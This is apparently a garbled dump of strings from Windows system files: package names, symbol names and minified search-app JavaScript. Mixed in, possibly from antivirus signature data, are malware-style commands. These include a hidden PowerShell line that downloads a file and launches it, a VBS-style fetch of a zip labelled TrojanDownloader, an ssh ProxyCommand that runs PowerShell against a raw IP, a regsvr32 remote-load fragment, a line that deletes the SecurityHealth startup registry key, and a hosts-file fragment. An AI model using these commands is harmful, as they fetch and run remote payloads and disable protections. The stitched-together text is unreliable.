MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor(9H
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight(8G
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common(6?
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI(5?
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts(3E
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog(2:
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI(IG
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHost(<<
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHub(;O
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial(:E
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp(7F
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp(H9
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI(G=
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime(4E
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadata'.=
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputApp'/P
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensions'0E
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadata&,P
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktop&-E
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata%(N
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPlugin%+L
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHost%)V
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtension%*E
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata$&W
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtension$'E
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadata##D
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbar#%G
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray#$N
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!App
Microsoft.WindowsCamera_8wekyb3d8bbwe!App
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3(OE
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP(Qp
com.microsoft.windows.widgetsMicrosoftStartDailyDiscoveryWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/DailyDiscoveryWidgetDisplayName}
://www.rhb-international.com/projects/enquiry.zip"= CreateObject("WScript.Shell").SpecialFolders("MyDocuments") & "\enquiry.zip"= pathname & "\" & "enquiry.zip"'Shell "RunDLL32.exe C:\Windows\System32\Shimgvw.dll,ImageView_Fullscreen " & pathnameTrojanDownloader:PowerShell/Bynoco.PDCI!MTB
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.3912Ke
fullpath=%tempdir%%filename%"@powershell-noprofile-executionpolicybypass-windowstylehidden-command"(new-objectsystem.net.webclient).downloadfile('%url%','%fullpath%');start-process'%fullpath%'
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
.windowstyle="7"
regdelete"hklm\software\microsoft\windows\currentversion\run"/v"securityhealth"/f>nul
148^com.microsoft.windows.extensionpackage
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WINDOWS11
qwindowsJ
Global_WindowsStorage_esServerMode
Windows.Storage.dll
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
WINDOWS_DIALOG_COMMENT_TEXT
WINDOWS_TITLE_TEXT
Enter your feedback on Windows Search here. To protect your privacy, please don't include any personal information.
Windows Produc'
ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
Windows.Data.Platform.ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickActionGroup>
Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickAction>
WebAuthenticationWindowsHints
event_report_windows
Welcome to Windows
ingle_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::RemoveAt(const unsigned int)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::InsertAt(const unsigned int,const struct winrt::Windows::Services::Store::StorePackageUpdate &)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::SetAt(const unsigned int,const struct winrt::Windows::Services::Store::StorePackageUpdate &)
struct winrt::Windows::Services::Store::StorePackageUpdate __cdecl winrt::iterable_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate,struct winrt::impl::collection_version>::iterator::Current(void) const
C:\Users\cloudtest\.nuget\packages\microsoft.windows.wil.internal\0.2.135\inc\wil\opensource\wil\resource.h
.?AV?$AsyncOperationCompletedHandler@PE$AAVUnifiedTileManager@UnifiedTile@Shell@WindowsInternal@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVUnifiedTileManager@UnifiedTile@Shell@WindowsInternal@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_7d1cb0d866c6a5587b850020ab4268c3>@@XPE$AAU?$IAsyncOperationWithProgress@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_edb3eb182ce113b8b8822d6225224d1b>@@XPE$AAU?$IAsyncOperation@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_00c1e307839b871dd188651f0924e604>@@XPE$AAU?$IAsyncOperation@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$IAsyncOperation@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@
.?AU__I?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@23@PE$AAVHttpResponseMessage@Http@Web@3@PublicNonVirtuals@details@Concurrency@@
\system32\rundll32.exe
ActivateWindowsFirewall
Windows Defender FirewallJ
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
9495b04a-4307-4bad-a783-f9417235bb38WindowsFormKlassSpaceTeamA
windows.hlp
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ystem.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FDebugMessage
System.Windows.Forms.IWindowTarget.OnMessage
System.Windows.Forms.IMessageFilter.PreFilterMessage
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.GetCaretRange
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.DocumentRange
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.DocumentRange
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.get_DocumentRange
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.get_DocumentRange
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.MoveEndpointByRange
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.LargeChange
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.get_LargeChange
System.Windows.Forms.IWindowTarget.OnHandleChange
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.SmallChange
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.get_SmallChange
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.OnActivationChange
lc:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('http:157.20.182.164tamshimm.mp4'|convert-string-e'12345=431//2/5')".
7<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><t>"http://
ComSpec=C:\WINDOWS\system32\cmd.exe
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\AccountInfo.h
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\wamaccountscache.cpp
onecore\windows\hvsi\settings\src\registryutils\registryutils.cpp
onecore\windows\hvsi\settings\src\registryutils\registrystore.cpp
c:\Windows\System32\Drivers\etc\hosts &&c
strumentItemClickAndGPing(o,n,i,r,u,f)}}static instrumentItemClickAndGPing(i,r,u,f,e,o){var s,h,c,l;if((!n.config.disableWSBServerTelemetry||!n.isThirdPartySearchAllowed())&&!n.Host.isOptionalDiagnosticDataDisabled())if(n.config.splitDataUploadEndpoint){let v="BingData";if(u===null||u===void 0?void 0:u.getProperties()){let n=u.getProperties();n.DataType&&n.DataType.trim()!==""&&(v=n.DataType)}let a=t._keystrokesInstrumentationData[f];a?(a.RenderingStarted||t.updatePageIG(f),_G.IG!=a.ImpressionGuid&&n.LogWSBError("instrumentItemClick","IG ("+a.ImpressionGuid+") for sequenceNumber "+f+" does not match the page IG ("+_G.IG+")",new Error("IG for sequence number does not match the currently rendered page's IG (_G.IG)"),undefined,undefined,"WindowsTelemetry")):n.LogWSBError("instrumentItemClick","sequenceNumber: "+f+" ConversationID: "+n.Host.getConversationId(),new Error("No instrumentation data found for sequenceNumber"),undefined,undefined,"WindowsTelemetry");n.shouldWindowsAndBingLogToBing()?(t.sendCustomGPing(i,u.getHValue(),r),t._clientTelemetry&&t._clientTelemetry.logItemClickedMeasure(a.ConversationId,a.RawImpressionGuid,u,o)):n.shouldBingLogToBing()&&n.config.splitWindowsDataInstrumentation&&v==="BingData"&&(t.sendCustomGPing(i,u.getHValue(),r),t._clientTelemetry&&t._clientTelemetry.logItemClickedMeasure(a.ConversationId,a.RawImpressionGuid,u,o));const y=33554432;if(n.config.splitWindowsDataInstrumentation&&v==="WindowsData"&&n.shouldWindowsLogToWindows(y)){c=n.Host.getConversationId();let{}=i,f=__rest(i,["DataType"]);const t={eventType:n.LogEventType.Engaged,type:"Click",subType:n.DataComplianceTypeDefaultEmptyValue,AppNS:u.getAppNS(),K:u.getLayoutKValue(),Properties:JSON.stringify(f)},e=JSON.stringify(t),o=[t.eventType,t.type,t.subType].join(n.DataComplianceEventNameSeparator);((h=(s=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||s===void 0?void 0:s.wsbTelemetry)===null||h===void 0?void 0:h.logEvent)?SearchAppWrapper.CortanaApp.wsbTelemetry.logEvent(o,n.DataComplianceSchemaVersion_1_0,a.ImpressionGuid,c,r,e,4,y,2):n.LogWSBWarning("instrumentItemClickAndGPing",null,"Machine doesn't support logEvent function","WindowsTelemetry");_w.ThresholdUtilities&&(l=_w.ThresholdUtilities,l.uploadApiTimes("PCE",t=>{var u,f;const i={eventType:n.LogEventType.ClientInst,type:"CPT2",subType:"Empty",wt:JSON.stringify(t)},e=JSON.stringify(i),o=[i.eventType,i.type,i.subType].join(n.DataComplianceEventNameSeparator);((f=(u=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||u===void 0?void 0:u.wsbTelemetry)===null||f===void 0?void 0:f.logEvent)&&SearchAppWrapper.CortanaApp.wsbTelemetry.logEvent(o,n.DataComplianceSchemaVersion_1_0,a.ImpressionGuid,c,r,e,4,33554432,2)}))}t.finalizeKeystrokeLog(f,1);e&&e();t._instrumentationProvider.onItemClick();n.config.forceLogFlush?Log2.ForceFlush():Log2.FlushMainQueueDontForce();_w.clickFlushedTime=sb_gt()}else{t.sendCustomGPing(i,u.getHValue(),r);let s=t._keystrokesInstrumentationData[f];s?(s.RenderingStarted||t.updatePageIG(f),_G.IG!=s.ImpressionGuid&&n.LogWSBError("instrumentItemClick","IG ("+s.ImpressionGuid+") for sequenceNumber "+f+" does not match the page IG ("+_G.IG+")",new Error("IG for sequence number does not match the currently rendered page's IG (_G.IG)"),undefined,undefined,"WindowsTelemetry"),t._clientTelemetry&&t._clientTelemetry.logItemClickedMeasure(s.ConversationId,s.RawImpressionGuid,u,o)):n.LogWSBError("instrumentItemClick","sequenceNumber: "+f+" ConversationID: "+n.Host.getConversationId(),new Error("No instrumentation data found for sequenceNumber"),undefined,undefined,"WindowsTelemetry");t.finalizeKeystrokeLog(f,1);e&&e();t._instrumentationProvider.onItemClick();n.config.forceLogFlush?Log2.ForceFlush():Log2.FlushMainQueueDontForce();_w.clickFlushedTime=sb_gt()}}static instrumentLayoutItemSelect(n,i){let r={AppNS:n.getAppNS(),K:n.getLayoutKValue()};t.logClientInstEvent("Select","ItemClicked",i,r,"WindowsTelemetry",33554432)}static instrumentDSBChevronSelect(i){let r={scenario:i};t.logClientPi
 t=!1;return i(function(i){i===n&&(t=!0)}),t}function o(n){t.push(n)}function s(n){var r=-1;i(function(t,i){t===n&&(r=i)});r!==-1&&t.splice(r,1)}function i(n){for(var r,i=t.length-1;i>=0;i--)try{r=t[i];r.contentWindow?n(r,i):t.splice(i,1)}catch(u){t.splice(i,1)}}var t=[];n.count=u;n.getIFrameFromWindow=f;n.isXYFocusEnabled=e;n.registerIFrame=o;n.unregisterIFrame=s}(g||(g={}));r.document&&(i.keyCodeMap.left.push(s.GamepadLeftThumbstickLeft,s.GamepadDPadLeft,s.NavigationLeft),i.keyCodeMap.right.push(s.GamepadLeftThumbstickRight,s.GamepadDPadRight,s.NavigationRight),i.keyCodeMap.up.push(s.GamepadLeftThumbstickUp,s.GamepadDPadUp,s.NavigationUp),i.keyCodeMap.down.push(s.GamepadLeftThumbstickDown,s.GamepadDPadDown,s.NavigationDown),i.keyCodeMap.accept.push(s.GamepadA,s.NavigationAccept),i.keyCodeMap.cancel.push(s.GamepadB,s.NavigationCancel),i.keyCodeMap.pageUp.push(s.GamepadLeftTrigger),i.keyCodeMap.pageDown.push(s.GamepadRightTrigger),r.addEventListener("message",function(n){var f=null,i,o,e,t,u;try{if(f=n.source,!f)return}catch(n){return}if(n.data&&n.data[l.messageDataProperty]){i=n.data[l.messageDataProperty];switch(i.type){case l.dFocusEnter:o=k(i.direction,-1,i.referenceRect,!0);o||(st(r.document.body)?r.document.body.focus():k(i.direction,-1));break;case l.dFocusExit:if(e=g.getIFrameFromWindow(f),r.document.activeElement!==e)break;t=i.referenceRect;u=e.getBoundingClientRect();t.left+=u.left;t.top+=u.top;typeof t.right=="number"&&(t.right+=u.left);typeof t.bottom=="number"&&(t.bottom+=u.top);k(i.direction,-1,t)}}}),f.ready().then(function(){if(e.hasWinRT&&r.Windows&&r.Windows.Xbox&&e.addClass(r.document.body,c.xboxPlatform),r.document.addEventListener("keydown",bt,!0),r.document.addEventListener("keydown",pt),r.document.addEventListener("keyup",wt),r.top!==r.window){var n={};n[l.messageDataProperty]={type:l.register,version:1};r.parent.postMessage(n,"*")}}),nt={focusRoot:{get:function(){return i.focusRoot},set:function(n){i.focusRoot=n}},findNextFocusElement:ut,keyCodeMap:i.keyCodeMap,moveFocus:ft,onfocuschanged:o._createEventProperty(tt.focusChanged),onfocuschanging:o._createEventProperty(tt.focusChanging),_xyFocus:k,_iframeHelper:g},nt=f._merge(nt,o.eventMixin),nt._listeners={},it=nt,u.Namespace.define("WinJS.UI.XYFocus",nt))}),r("base",["WinJS/Core/_WinJS","WinJS/XYFocus",],function(n){"use strict";return n.Namespace.define("WinJS.Utilities",{_require:u,_define:r}),n}),u(["WinJS/Core/_WinJS","base"],function(n){i.WinJS=n;typeof module!="undefined"&&(module.exports=n)}),i.WinJS}),function(n){n.UI.XYFocus.keyCodeMap.up.push(n.Utilities.Key.upArrow);n.UI.XYFocus.keyCodeMap.down.push(n.Utilities.Key.downArrow);n.UI.XYFocus.keyCodeMap.left.push(n.Utilities.Key.leftArrow);n.UI.XYFocus.keyCodeMap.right.push(n.Utilities.Key.rightArrow)}(i.WinJS)},SearchAppWinJS;(function(n){n.initXYFocus=function(n){WinJS_Init(n,n)}})(SearchAppWinJS||(SearchAppWinJS={}))
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartupUSERPROFILEFailed to get USERPROFILEC
CAccessibilityEscapeWindows.UI.Xaml.Controls.CommandBarFlyoutileCollectionChangeCap
+lar windows on taskbarX
 Windows 
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as thetendedDynamicSearchAPI)return n.Async.safePromise("setDynamicContentRawData",()=>SearchAppWrapper.CortanaApp.setDynamicContentRawData(e,o,s,l,h,r,u));if(SearchAppWrapper.CortanaApp.setDynamicSearchBoxContentRawData)return n.Async.safePromise("setDynamicSearchBoxContentRawData",()=>SearchAppWrapper.CortanaApp.setDynamicSearchBoxContentRawData(e,o,s,l,h==1));n.log("CortanaApp.setDynamicSearchBoxContentRawData not supported")}}async setSearchAppearanceContent(t){var u,f,e;let r,o=t===null||t===void 0?void 0:t.contentType,i=JSON.stringify(t===null||t===void 0?void 0:t.gleamData);try{if(n.isThirdPartyGleamSupported()){o=2;const s=n.Host.get1pSearchApps(),h=(e=(f=(u=t===null||t===void 0?void 0:t.gleamData)===null||u===void 0?void 0:u.content)===null||f===void 0?void 0:f.taskbarSearchBox)===null||e===void 0?void 0:e.gleam;s&&h||(i="");r=await n.Async.safePromise("setSearchAppearanceForWebProviderAsync",()=>SearchAppWrapper.CortanaApp.setSearchAppearanceForWebProviderAsync(o,i,s))}else r=await n.Async.safePromise("setSearchAppearanceAsync",()=>SearchAppWrapper.CortanaApp.setSearchAppearanceAsync(o,i));if(r.state==262144)n.logToMC("Bing_QF_DynamicSearchManager","SkipSettingSearchAppearanceContent","logDynamicSearchManager");else if(r.state!=0)throw new Error(JSON.stringify(r));else n.logToMC("Bing_QF_DynamicSearchManager","SearchAppearanceContentUpdated","logDynamicSearchManager",i)}catch(s){n.logToMC("Bing_QF_DynamicSearchManager","FailedToSetGleamdata","logDynamicSearchManager",i);n.DSBLogError("SetSearchAppearanceResult",`failed to set gleamdata ${s}
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostAppQ
Windows.Data.UnifiedTile.LocalStartVolatile
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
!#AGGR:Lua:Context/FileInSubStrPath.A!windowsinstaller
Lua:Context/FileInSubStrPath.A!windowsinstaller
.?AV<lambda_1>@?4???$?RUIInspectable@Foundation@Windows@winrt@@@0?L@??Initialize@ReactNativeAppContainerWinPrivate@@UEAA?AU?$pair@JV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@XZ@QEBA?A_PUIInspectable@Foundation@Windows@winrt@@URequestSentEventArgs@FileSyncRNWin32Lib@8@@Z@
.?AUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UDataBridgeRequest@factory_implementation@FileSyncRNWin32Lib@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UDataBridgeRequest@factory_implementation@FileSyncRNWin32Lib@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UDataBridgeRequest@factory_implementation@FileSyncRNWin32Lib@winrt@@UIActivationFactory@Foundation@Windows@4@UIDataBridgeRequestFactory@34@@winrt@@
.?AU?$root_implements@UDataBridgeRequest@factory_implementation@FileSyncRNWin32Lib@winrt@@UIActivationFactory@Foundation@Windows@4@UIDataBridgeRequestFactory@34@@impl@winrt@@
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Microsoft Windows
Microsoft Windows
c:\windows\system32\shdocvw.ocac
wait this.setViewModelDynamicSearchBoxContent(null,"DynamicSearchManager.bindAccountTypesChanged");n.config.fixDSBCoverageRegression||n.config.enableDSBDismissRender&&n.isNullOrUndefined(_qs(".groupContainer.topItemsGroup"))&&n.isNullOrUndefined(this.pendingRefreshParameters)&&n.shouldShowDSBLayout(this.currentQuery)&&(this.pendingRefreshParameters={strategy:3,reason:2});this.flushPendingRefresh()});const f=()=>{this.pendRefresh(3,3)};n.Host.bindAccountChanged(()=>{this.setViewModelDynamicSearchBoxContent(null,"DynamicSearchManager.bindAccountChanged").then(()=>f()).catch(()=>f())})}allowSuspension(){this.resolvePromise&&(this.resolvePromise(),this.resolvePromise=null);n.Host.setIsReloadSuppressedBgTask(!1)}forceRefresh(){if(!n.isDynamicSearchContentPossible()){n.log("Can't force DSB refresh. DSB is not enabled.");return}n.log("DSB: forceBackgroundRefresh");this.pendRefresh(3,5)}forceRefreshFlipper(){n.isDynamicSearchContentPossible()?(n.log("DSB: forceBackgroundRefreshFlipper"),this.pendRefresh(3,6)):n.log("Can't force DSB refresh. DSB is not enabled.")}forceRenderOnlyRefresh(){n.isDynamicSearchContentPossible()?(n.log("DSB: forceRenderOnlyRefresh"),this.pendRefresh(2,5)):n.log("Can't force DSB render-only refresh. DSB is not enabled.")}getSelectableItemsByGroup(){var i,r,u;if(!n.shouldShowDSBLayout(this.currentQuery))return[];let t=[];if(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isMsbDsbBlendFeatureEnabled()){(n.msbDsbSwitchHost===null||n.msbDsbSwitchHost===void 0?void 0:n.msbDsbSwitchHost.shouldShow())&&t.push(...n.msbDsbSwitchHost.getSelectableItemsByGroup());const r=this.selectDsbViewModels();r.length===1?t.push(...r[0].getSelectableItemsByGroup()):r.length===2&&(n.config.msbDsbDynamicBlend?(t.push(...((i=this._msb_dsbViewModel.getTopRegionSelectableItemsByGroup())!==null&&i!==void 0?i:[])),t.push(...this._dsbViewModel.getSelectableItemsByGroup()),t.push(...this._msb_dsbViewModel.getSelectableItemsByGroup())):(t.push(...r[1].getSelectableItemsByGroup()),t.push(...r[0].getSelectableItemsByGroup())))}else t.push(...((u=(r=this.selectDsbViewModel())===null||r===void 0?void 0:r.getSelectableItemsByGroup())!==null&&u!==void 0?u:[]));return t}getSelectableItems(){var i,r,u,f,e,o;if(!n.shouldShowDSBLayout(this.currentQuery))return[];let t=[];if(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isMsbDsbBlendFeatureEnabled()){(n.msbDsbSwitchHost===null||n.msbDsbSwitchHost===void 0?void 0:n.msbDsbSwitchHost.shouldShow())&&t.push(...n.msbDsbSwitchHost.getSelectableItems());const e=this.selectDsbViewModels();e.length===1?t.push(...(i=e[0].getSelectableItems())!==null&&i!==void 0?i:[]):e.length===2&&(n.config.msbDsbDynamicBlend?(t.push(...((r=this._msb_dsbViewModel.getTopRegionSelectableItems())!==null&&r!==void 0?r:[])),t.push(...this._dsbViewModel.getSelectableItems()),t.push(...this._msb_dsbViewModel.getSelectableItems())):(t.push(...(u=e[1].getSelectableItems())!==null&&u!==void 0?u:[]),t.push(...(f=e[0].getSelectableItems())!==null&&f!==void 0?f:[])))}else t.push(...((o=(e=this.selectDsbViewModel())===null||e===void 0?void 0:e.getSelectableItems())!==null&&o!==void 0?o:[]));return t}async updateDynamicSearchBoxContent(t,i){var f,e;let r="DSBNotPossible",u;n.isDynamicSearchContentPossible()&&(n.msbHost&&n.msbDsbHost&&n.msbHost.features.isMsbDsbBlendFeatureEnabled()?n.msbDsbHost.isInBlendedMode()?(u=n.config.msbDsbUseAadGleamInBlendedMode?this._msb_dsbViewModel:n.config.msbDsbUseMsaGleamInBlendedMode||n.msbDsbHost.isCurrentTimeInOffWorkHour()?this._dsbViewModel:this._msb_dsbViewModel,r="BlendedMode"):(u=i&&((f=this.previouslySelectedViewModels[0])===null||f===void 0?void 0:f.getName())===i?this.previouslySelectedViewModels[0]:this.selectDsbViewModels()[0],r="NonBlendedMode"):(u=i&&((e=this.previouslySelectedViewModel)===null||e===void 0?void 0:e.getName())===i?this.previouslySelectedViewModel:this.selectDsbViewModel(),r="DsbNormal"));await this.setViewModelDynamicSearchBoxContent(u,t+" updateDynamicSearchBoxContent."+r)}async update3pDynamicSearchBoxContent(n){let t=this._dsbViewModel;await tap"),this.pendRefresh(2,0)},i,"dsbManager::bindBootstrapDone"),!n.isThirdPartyGleamSupported()||n.isBingEnabled()||n.Host.getMru3pAppCache()||n.AccessTokenManager.getWindowsAccountType()==1||(this.previousSearchAppearanceGleamData=undefined,this.setSearchAppearanceContent({gleamData:undefined,contentType:2}))});n.Host.bindDynamicSearchBoxUpdate(()=>n.isDynamicSearchContentPossible()?(this.logBackgroundTask("DSBManager_onBackgroundTask_Start"),new Promise(n=>{this.resolvePromise=n,this.onBackgroundTask(),this.logBackgroundTask("DSBManager_onBackgroundTask_End")})):Promise.resolve());n.Host.bindSearchAppearanceInvoked(async()=>{var r,u,f,e,o,s;let t=this._dsbViewModel;const i=t===null||t===void 0?void 0:t.getSearchAppearanceGleamContent(),h=(o=(e=(f=(u=(r=i===null||i===void 0?void 0:i.gleamData)===null||r===void 0?void 0:r.content)===null||u===void 0?void 0:u.taskbarSearchBox)===null||f===void 0?void 0:f.gleam)===null||e===void 0?void 0:e.invokeAction)===null||o===void 0?void 0:o.uri,c=(s=i===null||i===void 0?void 0:i.gleamData)===null||s===void 0?void 0:s.telemetryId,l=t===null||t===void 0?void 0:t.getUrlHandoffType(h);let a={clickThroughUrl:h,telemetryId:c,handoffType:l};n.InstrumentationHelper.instrumentGleamClickEvent(a)});n.Host.bindDynamicPlaceholderContentRequested(async()=>{n.isDynamicSearchContentPossible()&&(this.previousDynamicSearchBoxContent=undefined,this.previousSearchAppearanceGleamData=undefined,n.logToMC("Bing_QF_DynamicSearchManager","UpdateRequestedByClient","logDynamicSearchManager"),await this.updateDynamicSearchBoxContent("DynamicSearchManager.bindDynamicPlaceholderContentRequested"))});n.Host.bindQueryChangedOrInitialized(t=>{var r,u,f,e,o,s,i,h,c;if(n.isThirdPartyGleamSupported()&&n.AccessTokenManager.getWindowsAccountType()!=1){let l=(r=this.currentQuery)===null||r===void 0?void 0:r.scope,c=t.scope,a=(f=(u=this.currentQuery)===null||u===void 0?void 0:u.thirdPartySearch)===null||f===void 0?void 0:f.applicationUserModelId,v=(e=t.thirdPartySearch)===null||e===void 0?void 0:e.applicationUserModelId;switch(!0){case!n.isBingEnabled()&&c==n.Scope.All:this.previousSearchAppearanceGleamData=undefined;this.setSearchAppearanceContent({gleamData:undefined,contentType:2});break;case n.isBingEnabled()&&c==n.Scope.All&&this.previousSearchAppearanceGleamData==undefined:case 